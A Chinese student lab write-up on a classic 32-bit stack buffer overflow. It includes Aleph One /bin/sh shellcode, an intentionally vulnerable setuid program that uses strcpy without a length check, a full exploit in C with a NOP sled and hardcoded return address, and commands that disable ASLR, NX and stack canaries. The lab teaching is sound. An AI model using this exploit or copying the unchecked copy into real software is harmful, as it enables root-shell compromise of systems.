最近在做缓冲区溢出实验,总共有6个
目录 shellcode.h 源代码:vul1: 攻击代码: 简单原理说明 环境声明 实验过程 1. 确定要溢出的目标: 2. 构造payload: 3. 编译之后,直接运行结果如下图所示: 总结
shellcode.h shellcode的作用是运行一个/bin/sh /*
* Aleph One shellcode.45个字节
*/
static const char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
源代码:vul1: #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int bar(char *arg, char *out)//
{
strcpy(out, arg);//将arg指向的地址内容拷贝给out所指的地址中去
return 0;
}
void foo(char *argv[])
//运行bar,由于buf是一个局部变量
//故而经过bar将argv的内容拷贝给了buf指向的地址,造成了栈溢出
//且可以绕过长度限制,构造shellcode覆盖返回地址
{
char buf[256];
bar(argv[1], buf);
}
int main(int argc, char *argv[])
{
if (argc != 2)//保证有参数输入,且为1
{
fprintf(stderr, "target1: argc != 2\n");
exit(EXIT_FAILURE);
}
setuid(0);//设置UID为0
foo(argv);//运行函数foo
return 0;
} 攻击代码: #include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"
#define TARGET "/mnt/hgfs/sourcecode/proj1/vulnerables/vul1"//目标文件路径
int main(void)
{
//211个NOP+45个字节shellcode+8个字节EBP与返回地址 = 264字节
char payload[264];
memset(payload,'\x90',211);
memcpy(payload + 211,shellcode,45);
memcpy(payload + 256,"\x04\xfc\xff\xbf\x10\xfc\xff\xbf",8);
char *args[] = { TARGET, payload , NULL};//定义运行参数
char *env[] = { NULL };//环境变量为NULL
execve(TARGET, args, env);
// int execve(const char* filename,char* const argv[],char* const envp[]);
// 参数介绍:
// filename:程序所在的路径
// argv:传递给程序的参数,数组指针argv必须以程序(filename)开头,NULL结尾
// envp:传递给程序的新环境变量,无论是shell脚本,还是可执行文件都可以使用此环境变量,必须以NULL结尾
// 函数返回值:
// 成功无返回值,失败返回-1
fprintf(stderr, "execve failed.\n");
return 0;
}
简单原理说明 缓冲区溢出通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。 造成缓冲区溢出的主要原因是程序中没有仔细检查用户输入的参数是否合法。 环境声明 LINUX 32位系统 本任务所以实验均在关闭ASLR、NX等保护机制的情况下进行: 1.关闭地址随机化功能: echo 0 > /proc/sys/kernel/randomize_va_space2.  2.gcc编译器默认开启了NX选项,如果需要关闭NX(DEP)选项,可以给gcc编译器添加-z execstack参数。 gcc -z execstack -o test test.c 3.在编译时可以控制是否开启栈保护以及程度, 例如:gcc -fno-stack-protector -o test test.c //禁用栈保护 gcc -fstack-protector -o test test.c //启用堆栈保护,不过只为局部变量中含有char数组的函数插入保护代码 gcc -fstack-protector-all -o test test.c //启用堆栈保护,为所有函数插入保护代码 实验过程 1. 确定要溢出的目标: 由vulc代码中的bar函数(如图)可知,strcpy由于没有检查拷贝字符串的长度,故而拷贝的长度可能比out本身的长度要大。  而out即foo函数中的buf字符串组,大小为256个字节。故而我们的溢出目标即使buf字符串组产生溢出,以覆盖栈中的数据。 2. 构造payload: 在foo函数中,我们可以看到ebp的大小为0xbffffd10,而buf指向的地址为0xbffffc10,两者相差正好为256个字节。  且由压栈的规则可知,在ebp地址之上保存是上个函数堆栈的ebp与返回地址,而返回地址距离ebp8个字节,故而只需构造264个字节的数据,将shellcode置于其中,最后4个字节为返回地址(buf的地址)即可。  构造之后的payload如下图所示:  3. 编译之后,直接运行结果如下图所示:  可见,成功执行了shellcode,溢出执行成功。 总结 本实验是一个最基本的缓冲区溢出样本,它让我深入浅出的体验了通过缓冲区溢出执行shellcode的感觉,原理基本就是strcpy()函数没有检查copy的长度而导致的溢出 |